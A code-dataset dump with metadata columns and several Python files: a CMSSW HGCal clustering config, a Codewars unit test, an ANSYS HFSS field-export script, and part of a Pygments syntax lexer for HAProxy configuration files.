hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
75b711b10589dd5ce791544c86046524de4354b8
| 6,117
|
py
|
Python
|
L1Trigger/L1THGCal/python/customClustering.py
|
trackerpro/cmssw
|
3e05774a180a5f4cdc70b713bd711c23f9364765
|
[
"Apache-2.0"
] | 1
|
2019-03-09T19:47:49.000Z
|
2019-03-09T19:47:49.000Z
|
L1Trigger/L1THGCal/python/customClustering.py
|
trackerpro/cmssw
|
3e05774a180a5f4cdc70b713bd711c23f9364765
|
[
"Apache-2.0"
] | null | null | null |
L1Trigger/L1THGCal/python/customClustering.py
|
trackerpro/cmssw
|
3e05774a180a5f4cdc70b713bd711c23f9364765
|
[
"Apache-2.0"
] | 1
|
2019-04-03T19:23:27.000Z
|
2019-04-03T19:23:27.000Z
|
import FWCore.ParameterSet.Config as cms
binSums = cms.vuint32(13, #0
11, 11, 11, # 1 - 3
9, 9, 9, # 4 - 6
7, 7, 7, 7, 7, 7, # 7 - 12
5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, # 13 - 27
3, 3, 3, 3, 3, 3, 3, 3 # 28 - 35
)
def custom_2dclustering_distance(process,
distance=6.,# cm
seed_threshold=5.,# MipT
cluster_threshold=2.# MipT
):
parameters_c2d = process.hgcalBackEndLayer1Producer.ProcessorParameters.C2d_parameters
parameters_c2d.seeding_threshold_silicon = cms.double(seed_threshold)
parameters_c2d.seeding_threshold_scintillator = cms.double(seed_threshold)
parameters_c2d.clustering_threshold_silicon = cms.double(cluster_threshold)
parameters_c2d.clustering_threshold_scintillator = cms.double(cluster_threshold)
parameters_c2d.dR_cluster = cms.double(distance)
parameters_c2d.clusterType = cms.string('dRC2d')
return process
def custom_2dclustering_topological(process,
seed_threshold=5.,# MipT
cluster_threshold=2.# MipT
):
parameters_c2d = process.hgcalBackEndLayer1Producer.ProcessorParameters.C2d_parameters
parameters_c2d.seeding_threshold_silicon = cms.double(seed_threshold) # MipT
parameters_c2d.seeding_threshold_scintillator = cms.double(seed_threshold) # MipT
parameters_c2d.clustering_threshold_silicon = cms.double(cluster_threshold) # MipT
parameters_c2d.clustering_threshold_scintillator = cms.double(cluster_threshold) # MipT
parameters_c2d.clusterType = cms.string('NNC2d')
return process
def custom_2dclustering_constrainedtopological(process,
distance=6.,# cm
seed_threshold=5.,# MipT
cluster_threshold=2.# MipT
):
parameters_c2d = process.hgcalBackEndLayer1Producer.ProcessorParameters.C2d_parameters
parameters_c2d.seeding_threshold_silicon = cms.double(seed_threshold) # MipT
parameters_c2d.seeding_threshold_scintillator = cms.double(seed_threshold) # MipT
parameters_c2d.clustering_threshold_silicon = cms.double(cluster_threshold) # MipT
parameters_c2d.clustering_threshold_scintillator = cms.double(cluster_threshold) # MipT
parameters_c2d.dR_cluster = cms.double(distance) # cm
parameters_c2d.clusterType = cms.string('dRNNC2d')
return process
def custom_2dclustering_dummy(process):
parameters_c2d = process.hgcalBackEndLayer1Producer.ProcessorParameters.C2d_parameters
parameters_c2d.clusterType = cms.string('dummyC2d')
return process
def custom_3dclustering_distance(process,
distance=0.01
):
parameters_c3d = process.hgcalBackEndLayer2Producer.ProcessorParameters.C3d_parameters
parameters_c3d.dR_multicluster = cms.double(distance)
parameters_c3d.type_multicluster = cms.string('dRC3d')
return process
def custom_3dclustering_dbscan(process,
distance=0.005,
min_points=3
):
parameters_c3d = process.hgcalBackEndLayer2Producer.ProcessorParameters.C3d_parameters
parameters_c3d.dist_dbscan_multicluster = cms.double(distance)
parameters_c3d.minN_dbscan_multicluster = cms.uint32(min_points)
parameters_c3d.type_multicluster = cms.string('DBSCANC3d')
return process
def custom_3dclustering_histoMax(process,
distance = 0.01,
nBins_R = 36,
nBins_Phi = 216,
binSumsHisto = binSums,
):
parameters_c3d = process.hgcalBackEndLayer2Producer.ProcessorParameters.C3d_parameters
parameters_c3d.dR_multicluster = cms.double(distance)
parameters_c3d.nBins_R_histo_multicluster = cms.uint32(nBins_R)
parameters_c3d.nBins_Phi_histo_multicluster = cms.uint32(nBins_Phi)
parameters_c3d.binSumsHisto = binSumsHisto
parameters_c3d.type_multicluster = cms.string('HistoMaxC3d')
return process
def custom_3dclustering_histoInterpolatedMax(process,
distance = 0.01,
nBins_R = 36,
nBins_Phi = 216,
binSumsHisto = binSums,
):
process = custom_3dclustering_histoMax( process, distance, nBins_R, nBins_Phi, binSumsHisto )
parameters_c3d = process.hgcalBackEndLayer2Producer.ProcessorParameters.C3d_parameters
parameters_c3d.type_multicluster = cms.string('HistoInterpolatedMaxC3d')
return process
def custom_3dclustering_histoInterpolatedMax1stOrder(process):
parameters_c3d = process.hgcalBackEndLayer2Producer.ProcessorParameters.C3d_parameters
parameters_c3d.neighbour_weights=cms.vdouble( 0 , 0.25, 0 ,
0.25 , 0 , 0.25,
0 , 0.25, 0
)
process = custom_3dclustering_histoInterpolatedMax( process )
return process
def custom_3dclustering_histoInterpolatedMax2ndOrder(process):
parameters_c3d = process.hgcalBackEndLayer2Producer.ProcessorParameters.C3d_parameters
parameters_c3d.neighbour_weights=cms.vdouble( -0.25, 0.5, -0.25,
0.5 , 0 , 0.5 ,
-0.25, 0.5, -0.25
)
process = custom_3dclustering_histoInterpolatedMax( process )
return process
def custom_3dclustering_histoThreshold(process,
threshold = 20.,
distance = 0.01,
nBins_R = 36,
nBins_Phi = 216,
binSumsHisto = binSums,
):
parameters_c3d = process.hgcalBackEndLayer2Producer.ProcessorParameters.C3d_parameters
parameters_c3d.threshold_histo_multicluster = cms.double(threshold)
parameters_c3d.dR_multicluster = cms.double(distance)
parameters_c3d.nBins_R_histo_multicluster = cms.uint32(nBins_R)
parameters_c3d.nBins_Phi_histo_multicluster = cms.uint32(nBins_Phi)
parameters_c3d.binSumsHisto = binSumsHisto
parameters_c3d.type_multicluster = cms.string('HistoThresholdC3d')
return process
| 42.776224
| 101
| 0.692823
| 631
| 6,117
| 6.442155
| 0.139461
| 0.083149
| 0.009594
| 0.011808
| 0.862239
| 0.757196
| 0.722509
| 0.700615
| 0.700615
| 0.58524
| 0
| 0.051801
| 0.233121
| 6,117
| 142
| 102
| 43.077465
| 0.814752
| 0.0188
| 0
| 0.630252
| 0
| 0
| 0.015053
| 0.003847
| 0
| 0
| 0
| 0
| 0
| 1
| 0.092437
| false
| 0
| 0.008403
| 0
| 0.193277
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
75e2268bd4122be59a33ab4fb7397aa74f7cb815
| 332
|
py
|
Python
|
Codewars/7kyu/odds-index/Python/test.py
|
RevansChen/online-judge
|
ad1b07fee7bd3c49418becccda904e17505f3018
|
[
"MIT"
] | 7
|
2017-09-20T16:40:39.000Z
|
2021-08-31T18:15:08.000Z
|
Codewars/7kyu/odds-index/Python/test.py
|
RevansChen/online-judge
|
ad1b07fee7bd3c49418becccda904e17505f3018
|
[
"MIT"
] | null | null | null |
Codewars/7kyu/odds-index/Python/test.py
|
RevansChen/online-judge
|
ad1b07fee7bd3c49418becccda904e17505f3018
|
[
"MIT"
] | null | null | null |
# Python - 3.6.0
Test.it('Basic tests')
Test.assert_equals(odd_ball(['even', 4, 'even', 7, 'even', 55, 'even', 6, 'even', 10, 'odd', 3, 'even']), True)
Test.assert_equals(odd_ball(['even', 4, 'even', 7, 'even', 55, 'even', 6, 'even', 9, 'odd', 3, 'even']), False)
Test.assert_equals(odd_ball(['even', 10, 'odd', 2, 'even']), True)
| 47.428571
| 111
| 0.590361
| 57
| 332
| 3.333333
| 0.368421
| 0.157895
| 0.252632
| 0.3
| 0.647368
| 0.647368
| 0.505263
| 0.505263
| 0.505263
| 0.505263
| 0
| 0.072165
| 0.123494
| 332
| 6
| 112
| 55.333333
| 0.580756
| 0.042169
| 0
| 0
| 0
| 0
| 0.240506
| 0
| 0
| 0
| 0
| 0
| 0.75
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
75fc133c8ee071e144d5b93b44f831a192cddfbc
| 2,661
|
py
|
Python
|
WEST/HFSS_antenna_front_face/HFSS_script_export_EH_flat_dielectric.py
|
Hash--/ICRH
|
b9da71f8eaa1f05f90453473fc90d61259a3c56a
|
[
"MIT"
] | null | null | null |
WEST/HFSS_antenna_front_face/HFSS_script_export_EH_flat_dielectric.py
|
Hash--/ICRH
|
b9da71f8eaa1f05f90453473fc90d61259a3c56a
|
[
"MIT"
] | null | null | null |
WEST/HFSS_antenna_front_face/HFSS_script_export_EH_flat_dielectric.py
|
Hash--/ICRH
|
b9da71f8eaa1f05f90453473fc90d61259a3c56a
|
[
"MIT"
] | null | null | null |
# ----------------------------------------------
# Script Recorded by ANSYS Electronics Desktop Version 2020.2.0
# 10:18:37 mai 20, 2020
# ----------------------------------------------
import ScriptEnv
ScriptEnv.Initialize("Ansoft.ElectronicsDesktop")
oDesktop.RestoreWindow()
oProject = oDesktop.SetActiveProject("WEST_ICRH_front_face")
oDesign = oProject.SetActiveDesign("Front Face Flat Dielectric")
N=10000
oModule = oDesign.GetModule("FieldsReporter")
oModule.ChangeGeomSettings(N)
oModule.CalcStack("clear")
oModule.CopyNamedExprToStack("Real_vector_E")
oModule.EnterLine("vacuum_line_toroidal")
oModule.CalcOp("Value")
oModule.CalculatorWrite("C:\\Users\\JH218595\\Documents\\ICRH\\WEST\\HFSS_antenna_front_face\\WEST_ICRH_Flat_Dielectric_Ereal.fld",
[
"Solution:=" , "Setup1 : LastAdaptive"
],
[
"$epsr_dielectric:=" , "1",
"$shift_X:=" , "50mm",
"Freq:=" , "0.05GHz",
"Phase:=" , "0deg",
"power_at_port:=" , "1000W",
"vac_length:=" , "200mm",
"vac_width:=" , "1200mm",
"x0:=" , "5mm"
])
oModule.CalcStack("clear")
oModule.CopyNamedExprToStack("Imag_vector_E")
oModule.EnterLine("vacuum_line_toroidal")
oModule.CalcOp("Value")
oModule.CalculatorWrite("C:\\Users\\JH218595\\Documents\\ICRH\\WEST\\HFSS_antenna_front_face\\WEST_ICRH_Flat_Dielectric_Eimag.fld",
[
"Solution:=" , "Setup1 : LastAdaptive"
],
[
"$epsr_dielectric:=" , "1",
"$shift_X:=" , "50mm",
"Freq:=" , "0.05GHz",
"Phase:=" , "0deg",
"power_at_port:=" , "1000W",
"vac_length:=" , "200mm",
"vac_width:=" , "1200mm",
"x0:=" , "5mm"
])
oModule.CalcStack("clear")
oModule.CopyNamedExprToStack("Real_vector_H")
oModule.EnterLine("vacuum_line_toroidal")
oModule.CalcOp("Value")
oModule.CalculatorWrite("C:\\Users\\JH218595\\Documents\\ICRH\\WEST\\HFSS_antenna_front_face\\WEST_ICRH_Flat_Dielectric_Hreal.fld",
[
"Solution:=" , "Setup1 : LastAdaptive"
],
[
"$epsr_dielectric:=" , "1",
"$shift_X:=" , "50mm",
"Freq:=" , "0.05GHz",
"Phase:=" , "0deg",
"power_at_port:=" , "1000W",
"vac_length:=" , "200mm",
"vac_width:=" , "1200mm",
"x0:=" , "5mm"
])
oModule.CalcStack("clear")
oModule.CopyNamedExprToStack("Imag_vector_H")
oModule.EnterLine("vacuum_line_toroidal")
oModule.CalcOp("Value")
oModule.CalculatorWrite("C:\\Users\\JH218595\\Documents\\ICRH\\WEST\\HFSS_antenna_front_face\\WEST_ICRH_Flat_Dielectric_Himag.fld",
[
"Solution:=" , "Setup1 : LastAdaptive"
],
[
"$epsr_dielectric:=" , "1",
"$shift_X:=" , "50mm",
"Freq:=" , "0.05GHz",
"Phase:=" , "0deg",
"power_at_port:=" , "1000W",
"vac_length:=" , "200mm",
"vac_width:=" , "1200mm",
"x0:=" , "5mm"
])
| 28.612903
| 132
| 0.646374
| 287
| 2,661
| 5.745645
| 0.303136
| 0.032747
| 0.05094
| 0.06792
| 0.795634
| 0.795634
| 0.795634
| 0.761674
| 0.761674
| 0.761674
| 0
| 0.056079
| 0.122135
| 2,661
| 92
| 133
| 28.923913
| 0.649829
| 0.066892
| 0
| 0.7
| 0
| 0
| 0.512313
| 0.178038
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.0125
| 0
| 0.0125
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
f94484a0ff5ec60191238ce9f7aa6dc973841a95
| 72,513
|
py
|
Python
|
haproxylexer/lexer.py
|
haproxytech/haproxy-pygments-lexer
|
834aadc79f5d95eda1f97586747ced143f049464
|
[
"Apache-2.0"
] | null | null | null |
haproxylexer/lexer.py
|
haproxytech/haproxy-pygments-lexer
|
834aadc79f5d95eda1f97586747ced143f049464
|
[
"Apache-2.0"
] | null | null | null |
haproxylexer/lexer.py
|
haproxytech/haproxy-pygments-lexer
|
834aadc79f5d95eda1f97586747ced143f049464
|
[
"Apache-2.0"
] | null | null | null |
from pygments.lexer import RegexLexer, bygroups, using, words
from pygments.token import *
# from pygments.lexers.web import JavascriptLexer
from haproxylexer import _haproxy_builtins
class HAProxyLexer(RegexLexer):
name = 'HAProxyCFG'
aliases = ['haproxy', 'hapee-lb']
filenames = ['haproxy*.cfg', 'hapee-lb*.cfg']
tokens = {
'root': [
# HAProxy configuration parsing basics.
# - A typical file is split into sections.
# - To declare a section you need to use its keyword at the start of
# the line.
# - Only sections and comments are allowed at the start of the line.
# - Configuration keywords always start with indentation either by
# space or tabs or a mix of the two.
# Based on the latest HAProxy Enterprise Configuration manual
# https://www.haproxy.com/documentation/hapee/latest/onepage/
# Comment that starts at the beginning of the line
# Regex:
# Start at the start of the line
# Look for a #
# Grab everything till the end of line
(r'^#.*$', Comment.Singleline),
# Inline comment
# Regex:
# Look for whitespace followed by #
# Grab everything till the end of line
(r'(?<=\s)#.*$', Comment.Singleline),
# Path
(r'(\s)(\/\S+)', bygroups(Text, String)),
# Path at the end of the line
(r'(\s)(\/\S+)$', bygroups(Text, String)),
# Urls
(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', String),
# Quoted strings
(r'(\".*?\")', bygroups(String.Double)),
(r'(\'.*?\')', bygroups(String.Single)),
# dashed options
(r'(?<=\s)(-)(m|i)(?=\s)', bygroups(Text, Name.Attribute)),
# Main Sections
# RegEx:
# Start at the start of the line
# Look for any of the keywords (Group 1)
# Look for whitespace - matches 0 or more (Group 2)
(words(_haproxy_builtins.sections, prefix=r'^', suffix='([\t ]+)(\S+)([\t ]+)([0-9]+(?:\.[0-9]+){3}|\*)(:[0-9]+)?([\t ]?)$'), bygroups(Keyword.Namespace, Text, Name.Variable, Text, Number, Number, Text)),
(words(_haproxy_builtins.sections, prefix=r'^', suffix='([\t ]+)(\S+)([\t ]+)([0-9]+(?:\.[0-9]+){3}|\*)(:[0-9]+)?([\t ]?)$'), bygroups(Keyword.Namespace, Text, Name.Variable, Text, Number, Number, Text)),
(words(_haproxy_builtins.sections, prefix=r'^', suffix='([\t ]+)([0-9]+(?:\.[0-9]+){3}|\*)(:[0-9]+)?([\t ]?)$'), bygroups(Keyword.Namespace, Text, Number, Number, Text)),
(words(_haproxy_builtins.sections, prefix=r'^', suffix='([\t ]+)(\S+)([\t ]?)$'), bygroups(Keyword.Namespace, Text, Name.Variable, Text)),
(words(_haproxy_builtins.sections, prefix=r'^', suffix='([\t ]?)$'), bygroups(Keyword.Namespace, Text)),
# manual fixes (order of proccessing)
(r'^([\t ]+)(log-stderr|docroot|index)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved)),
# ring keyword added on 2.2
(r'^([\t ]+)(maxlen|format|size)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved)),
(r'^([\t ]+)(log-stderr|log)([\t ]+)(global)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# Keywords that take a second keyword/option
# no option
(words(_haproxy_builtins.no_option_keywords, prefix=r'^([\t ]+)(no)([\t ]+)(option)([\t ]+)', suffix='(?=[\t \n\r])'), bygroups(Text, Keyword.Reserved, Text, Keyword.Reserved, Text, Name.Attribute)),
# option
(words(_haproxy_builtins.option_keywords, prefix=r'^([\t ]+)(option)([\t ]+)', suffix='(?=[\t \n\r])'), bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# Fcgi-app no option
(words(_haproxy_builtins.fcgi_no_option_keywords, prefix=r'^([\t ]+)(no)([\t ]+)(option)([\t ]+)', suffix='(?=[\t \n\r])'), bygroups(Text, Keyword.Reserved, Text, Keyword.Reserved, Text, Name.Attribute)),
# Fcgi-app option
(words(_haproxy_builtins.fcgi_option_keywords, prefix=r'^([\t ]+)(option)([\t ]+)', suffix='(?=[\t \n\r])'), bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# http-response
(words(_haproxy_builtins.http_response, prefix=r'^([\t ]+)(http-response)([\t ]+)', suffix='(?=[\t \n\r])'), bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# http-request
(words(_haproxy_builtins.http_request, prefix=r'^([\t ]+)(http-request)([\t ]+)', suffix='(?=[\t \n\r\(])'), bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
(words(_haproxy_builtins.http_after_response, prefix=r'^([\t ]+)(http-after-response)([\t ]+)', suffix='(?=[\t \n\r\(])'), bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# tcp-check
(r'^([\t ]+)(tcp-check)([\t ]+)(send-binary|expect|send|comment|connect)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# mailers
(r'^([\t ]+)(mailer)([\t ]+)([a-zA-Z0-9\_\-\.\:]+)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Variable)),
(r'^([\t ]+)(mailer)', bygroups(Text, Keyword.Reserved)),
(r'^([\t ]+)(email-alert)([\t ]+)(mailers|level|from|to)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# compression
(r'^([\t ]+)(compression)([\t ]+)(algo|offload|type)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# stats
(r'^([\t ]+)(stats)([\t ]+)(admin|auth|enable|hide-version|http-request|realm|refresh|scope|show-desc|show-legends|show-node|uri|socket|bind-process|timeout)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# mode
(r'^([\t ]+)(mode)([\t ]+)(http|tcp|health)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# hold
(r'^([\t ]+)(hold)([\t ]+)(other|refused|nx|timeout|valid|obsolete)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# timeout
(r'^([\t ]+)(timeout)([\t ]+)(check|client-fin|client|connect|http-keep-alive|http-request|queue|server-fin|server|tarpit|tunnel)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# timeout Resolvers
(r'^([\t ]+)(timeout)([\t ]+)(resolve|retry)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# balance
(r'^([\t ]+)(balance)([\t ]+)(roundrobin|static-rr|leastconn|first|source|uri|queue|server-fin|server|tarpit|tunnel|random|rdp-cookie)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
(r'^([\t ]+)(balance)([\t ]+)(random)(?=[\(])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# Balance options
# (r'^([\t ]+)(balance)([\t ]+)(roundrobin|static-rr|leastconn|first|source|uri|random|random|rdp-cookie)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# (r'^([\t ]+)(balance)([\t ]+)(random)(?=[\(])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# log
(r'^([\t ]+)(log)([\t ]+)(stdout|stderr|global)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Literal)),
(r'^([\t ]+)(default-server)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved)),
# max-mind
(r'^([\t ]+)(maxmind-update)([\t ]+)(url|cache|update|show|status|force-update)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
(r'^([\t ]+)(maxmind-cache-size|maxmind-debug|maxmind-load|maxmind-update)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved)),
# net aquity
(r'^([\t ]+)(netacuity-cache-size|netacuity-debug|netacuity-property-separator|netacuity-load|netacuity-update|netacuity-test-ipv4)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved)),
# command
(r'^([\t ]+)(command)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved)),
#stick
(r'^([\t ]+)(stick)([\t ]+)(match|on|store-request|store-response)(?=[\t \n\r])', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# Rules for user in userlists
# user <username> [password|insecure-password <password>] [groups <group>,<group>,(...)]
(r'^([\t ]+)(user)(\s+)(\S+)(\s+)(password|insecure-password)(\s+)(\S+)(\s+)(groups)(\s+)(\S+)$', bygroups( Text, Keyword.Reserved, Text, String, Text, Name.Attribute, Text, String, Text, Name.Attribute, Text, String )),
(r'^([\t ]+)(user)(\s+)(\S+)(\s+)(password|insecure-password)(\s+)(\S+)(\s?)$', bygroups( Text, Keyword.Reserved, Text, String, Text, Name.Attribute, Text, String, Text )),
# Rules for group in userlists
# group <groupname> [users <user>,<user>,(...)]
(r'^([\t ]+)(group)(\s+)(\S+)(\s+)(users)(\s+)(\S+)(\s?)$', bygroups( Text, Keyword.Reserved, Text, String, Text, Name.Attribute, Text, String, Text )),
(r'^([\t ]+)(group)(\s+)(\S+)(\s+)(users)(\s+)(\S+)(\s?)$', bygroups( Text, Keyword.Reserved, Text, String, Text, Name.Attribute, Text, String, Text )),
# Rules for capture
(r'^([\t ]+)(capture)([\t ]+)(cookie)([\t ]+)(\S+)([\t ]+)(len)(\s)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute, Text, String, Text, Name.Function)),
(r'^([\t ]+)(capture)([\t ]+)(cookie)([\t ]+)(\S+)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute, Text, String)),
(r'^([\t ]+)(capture)([\t ]+)(cookie)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
(r'^([\t ]+)(capture)([\t ]+)(response|request)([\t ]+)(header)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute, Text, Name.Attribute)),
# Rules for tcp-request
(r'^([\t ]+)(tcp-request)([\t ]+)(connection|content|inspect-delay|session)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# Rules for tcp-response
(r'^([\t ]+)(tcp-response)([\t ]+)(content|inspect-delay)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# Rules for http-check
(r'^([\t ]+)(http-check)([\t ]+)(comment|connect|disable-on-404|expect|send-state|send|setvar)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# Keywords that declare a variable
# acl, use_backend, server, default_backend, table
# Syntax: acl <acl-name>
(r'^([\t ]+)(acl|use_backend|server|default_backend|table)([\t ]+)([a-zA-Z0-9\_\-\.\:]+)(?=[\t \n\r])', bygroups( Text, Keyword.Declaration, Text, Name.Variable)),
(r'^([\t ]+)(acl|use_backend|server|default_backend|table)([\t ]+)(\S+)', bygroups( Text, Keyword.Declaration, Text, Error)),
# Keywords that take a single value typically displayed as string
# username user
# groupname group
# path ca-base, chroot, crt-base, deviceatlas-json-file,h1-case-adjust-file, 51degrees-data-file, wurfl-data-file
# name deviceatlas-properties-cookie, group, localpeer, node
# file lua-load, pidfile
# dir server-state-base
# file server-state-file, ssl-dh-param-file
# text description
# name mailer peer table
# id nameserver
# prefix server-template
# name cookie
# name use-fcgi-app
